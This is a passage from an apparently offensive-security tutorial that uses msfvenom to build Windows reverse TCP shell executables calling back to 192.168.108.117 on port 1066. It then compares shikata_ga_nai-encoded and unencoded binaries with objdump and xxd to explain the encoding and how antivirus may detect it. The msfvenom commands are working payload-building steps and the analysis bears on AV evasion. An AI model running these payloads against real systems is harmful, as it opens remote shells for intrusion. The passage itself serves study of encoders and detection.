We're going to do something very simple: we'll generate three Windows binaries. Two of them will use the exact same parameters—we'll run the same msfvenom command twice, outputting to a different file name for comparison—but with the x86/shikata_ga_nai encoder in play. Then, we'll generate the same shellcode as a Windows binary, but with no encoder at all. The payload is a simple reverse TCP shell pointing at our host at 192.168.108.117 on port 1066:
# msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --encoder x86/shikata_ga_nai --format exe > shell1.exe
# msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --encoder x86/shikata_ga_nai --format exe > shell2.exe
# msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --format exe > shell_noencode.exe
Use sha256sum to compare the two encoded payload EXEs. Without checking out a single byte, we see that the code is unique with each iteration:
There are two indispensable tools for analyzing binaries in Kali: xxd and objdump.xxd is a hexadecimal dump tool; it dumps the raw contents of the binary in hexadecimal. objdump is more of a general-purpose tool for analyzing objects, but its abilities makes it a handy disassembler. Couple the power of these tools with grep and voila: you have yourself a quick and dirty method for finding specific patterns in binaries. Let's start with a disassembly of the non-encoded Windows backdoor:
# objdump -D shell_noencode.exe -M intel
Note I'm rendering the instructions in Intel format; this is a Windows executable, after all. Even the Windows nerds can feel at home with disassembly on Kali. This is a large output— grab some coffee and take your time exploring it. In the meantime, let's see if we can find the LHOST IP address in this file. We know the hex representation of 192.168.108.117 is c0.a8.6c.75, so let's grep it out:
# objdump -D shell_noencode.exe -M intel |grep "c0 a8 6c 75"
At 4034aa, we find the instruction that pushes the target IP address onto the stack. Go ahead and try to find the same bytes in one of the encoded files. No cigar. So, we know that the encoder has effectively encrypted the bytes, but we also know that two files generated with the same encoder and same parameters hash to different values. We can put hex dumps of these two binaries side by side to get an idea of what x86/shikata_ga_nai has done.
Scrolling down to the .text section, take a peek at the sequences common between both binaries:
If you look closely at this snippet of memory, there are many byte sequences in common; I've highlighted just a few from a single line starting at 0x00001050. Now, we can go back to our disassembly and perform an analysis on what's happening here:
Despite the unique outputs, we see some telltale similarities. In this example, both binaries have a similar instruction at the same location in memory: push 0x2341404c and push 0x2cb7404c. 68 represents the opcode for push; and the next two bytes, 4c 40, appear in the operand in reverse order. That's right, little-endian bit order! These patterns assist us in understanding how the encoding process works, but they also help us understand how AV scanners may pick up our encoded shellcode.